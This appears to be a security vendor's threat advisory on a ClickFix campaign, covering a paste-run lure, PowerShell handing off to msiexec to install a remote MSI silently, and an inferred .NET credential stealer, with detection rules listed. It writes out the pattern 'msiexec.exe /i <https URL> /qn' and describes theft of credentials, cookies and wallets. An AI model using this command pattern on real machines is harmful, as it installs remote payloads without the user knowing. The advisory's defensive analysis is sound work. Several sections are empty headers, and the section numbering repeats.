SL-ADV-2026-WP-001 · v14.13 — Omegatech ClickFix → msiexec remote-MSI → EtherHiding / Donut

1 · Executive summary

On 2026-08-24 a fresh detonation of the WP-002 chain was captured from the compromised Israeli lure host gbcu.org.il. The victim was steered through a ClickFix clipboard-paste overlay whose client stage (/mpackage.js, a ~132 KB VM-obfuscated JavaScript) plants a silent remote-MSI command:

This replaces the v14.9 IRM → password-ZIP → build.exe path with an msiexec LOLBIN (T1218.007) pulling the payload MSI over HTTPS. Three victim sessions were observed (1787536535958-i0cxy4o51787536610190-oqlgj67r1787536664828-xhrcamir); the last was leaked verbatim into Edge's Bing "parachute" search telemetry, confirming the clipboard-paste vector.

2 · Kill chain (this wave)

Only stages up to and including the MSI delivery + EtherHiding contact were observed on the wire. The final stage is greyed as inferred.

3 · Why this is v14, not v15 — anchor analysis

Delivery re-tooling and domain rotation are exactly what a wave does; the cryptographic identity is what a family is. Every durable anchor has held across three consecutive waves (v14.10→v14.12), so this is still filed as v14.x, currently v14.12.

4 · Behavioural analysis — what the processes are doing

• ClickFix client stage (mpackage.js). A register-based bytecode-interpreter obfuscator (roots vmc_18c7e2 / vmZ_87c30c, runtime tokens _$RAq1ry / _$0rYh5S / _$Xvwae7). It hooks navigator, document, window, XMLHttpRequest, atob, setTimeout and drives the paste-run overlay. Notably, the C2/MSI strings are held encoded in the VM constant pool — not present as plaintext — which is why network-layer and command-line detection matter more than static string hunts here.
• PowerShell → msiexec hand-off. The pasted one-liner has PowerShell spawn msiexec.exe /i <https URL> /qn. The /qn makes the install fully silent; the remote URL turns msiexec into the downloader, so no separate stager binary touches disk in this wave.
• Discovery (observed). Browser Information Discovery (T1217), Query Registry (T1012), System Information Discovery (T1082), System Time Discovery (T1124) — consistent with the family's pre-exfil host survey.
• EtherHiding (observed contact). TLS to bsc-testnet-rpc.publicnode.com — the family's blockchain read-layer bootstrap. Transport only; do not block.
• Downstream (inferred, not observed here). Per lineage: CLR-hosted Donut .NET infostealer, browser credential/cookie/wallet collection, AES-over-raw-TCP exfil with the session key RSA-wrapped under the durable C2 key, and signed-binary + DUI70.dll sideload persistence.

5 · Network IOCs

Host / command-line IOCs

Durable pivots (family)

6 · MITRE ATT&CK (Enterprise v16)

7 · v14.11 — Live detonation deep-dive (260824-c8ptqsxwfs)

This detonation ran the same lure to completion with a decryption-secrets block (TLS keylog) embedded in the capture, letting every TLS session on the wire be decrypted after the fact — including the MSI body itself. Findings below are extracted directly from the decrypted pcap and cross-validated byte-for-byte against the sandbox's own dropped-file hashes.

8.1 · Full kill chain, MSI → memory

8.2 · DLL side-loading kit — hashes (all cross-validated vs. sandbox dropped-file list)

None of the five on-disk PEs carry the durable MZER+GetPC prologue or either durable imphash (8e7b065c… / edc8ef44…). Consistent with those cross-wave anchors living only in the memory-resident CLR stage reached via the injection chain above — not in the on-disk sideload kit. Sandbox family tags for this sample: HijackLoader / IDAT loader / Ghostulse — a tooling-level observation, not a change to attribution (still infrastructure-level, unattributed).

8.3 · ClickFix backend execution-confirmation polling

Characterized for the first time in this run: the lure page's client JS polls the stage host roughly every 3 seconds —

Twenty-one polls returned executed:false before the twenty-second flipped to executed:true — the backend tracks, per victim session id, whether the pasted msiexec command actually ran, independent of MSI delivery. This is a distinct, high-fidelity detection surface from the MSI/domain IOCs already tracked.

8.4 · New / updated durable pivots

8 · v14.12 — Second-wave corroboration (260827-cl6tqswzgs)

Two further detonations of the same lure (tria.ge 260827-cl6tqswzgs, 4 sandbox profiles) landed shortly after v14.11. The headline: one v14.11 "provisional" anchor is now durable, one new technique appeared, and the sideload kit rotated again while its persistence tail did not.

8.1 · Anchor status changes

8.2 · What we couldn't get this round

8.3 · New dropped files (names only, unhashed)

Sandbox note: all four v14.12 profiles ran the lure through Firefox (-osint -url) rather than Chrome — most likely a sandbox-side choice, but it confirms the ClickFix chain isn't Chrome-specific. desktop.ini touches under Documents/Public in the report are attributable to Firefox itself, not flagged as malicious.

9 · v14.13 — Payload capabilities memory-confirmed (260827-cl6tqswzgs memdumps)

Full process memory dumps from the same 260827-cl6tqswzgs run (behavioral1: PIDs 5244, 5384, 4640, 2240, 1728; behavioral2: PID 3108) let us move several long-standing signature descriptions into direct evidence. A third archive, initially suspected to hold keys/certs relevant to the campaign, turned out to be unrelated.

9.1 · Ruled out: xx.tar is a benign Firefox artifact

9.2 · Confirmed by memory evidence, not just sandbox tags

PID 5384 — the process injected via SetThreadContext from the CLIQuery-resident sideload host — contains a reflectively-loaded assembly whose .NET Base Class Library API strings directly confirm capabilities the Triage signature descriptions have carried since the earliest v14.x reports:

Local variable/field names in this payload are short randomized tokens (unit34, wave26, wrap02, wrk112, pipe410, vec84, and similar) that clearly rotate per build — not usable as durable strings. The new YARA rule (§9.4) targets the BCL API names instead, which the payload cannot rotate away without breaking functionality.

9.3 · Identified and ruled out: PowerShell's own compiler service

PID 1728 (behavioral1) and PID 3108 (behavioral2) both contain a genuine, fully-parseable .NET DLL with a valid CLR header — but its class/method names (AddNamesInInheritanceHierarchy, AnonymousTypeDisplayClass, and other C#/VB symbol-table internals) identify it as the .NET Framework's own C#/VB compiler service, not the payload. Almost certainly present because the ClickFix PowerShell stage uses Add-Type to dynamically compile inline C# — consistent with the long-standing "ClickFix v8 — PowerShell stage: PSReadLine + .NET + RSA key in process memory" signature. Identical in both behavioral captures, byte-for-byte in the regions checked.

9.4 · What we still don't have

9.5 · New YARA rule: memory-scan capability fingerprint

WP002_CLR_infostealer_capability_fingerprint_v14_13 — requires 2 of the screen-capture strings, 2 of the AES strings, 1 network string, 1 CLR-hosting string, and 1 reflective-assembly string in the same scanned region. Intended for memory/process scanning (Sysmon+YARA, Moneta, Hollows Hunter, or an EDR memory-scan feature) rather than static file scanning of the small native stub loaders, which don't carry these strings themselves.

10 · Companion artifacts

• SL-ADV-2026-WP-001_v14_13_stix.json — STIX 2.1 bundle (deterministic UUIDv5 seeded on secureleaf.dispensight.com; validated).
• SL-ADV-2026-WP-001_v14_13.yara — YARA (prologue, CAPI RSA1 blob, msiexec/MSI marker, mpackage.js VM-stage, imphash anchors, v14.12 sideload-kit/MSI rules, + v14.13 memory-scan capability fingerprint; compiled & verified).
• SL-ADV-2026-WP-001_v14_13.sigma.yml — Sigma (msiexec remote-MSI, DNS IOCs, C2 IP contact, cleartext mpackage.js fetch, v14.12 js-status poll / raw-C2-socket / sideload / injection rules, + v14.13 memory-scan companion rule).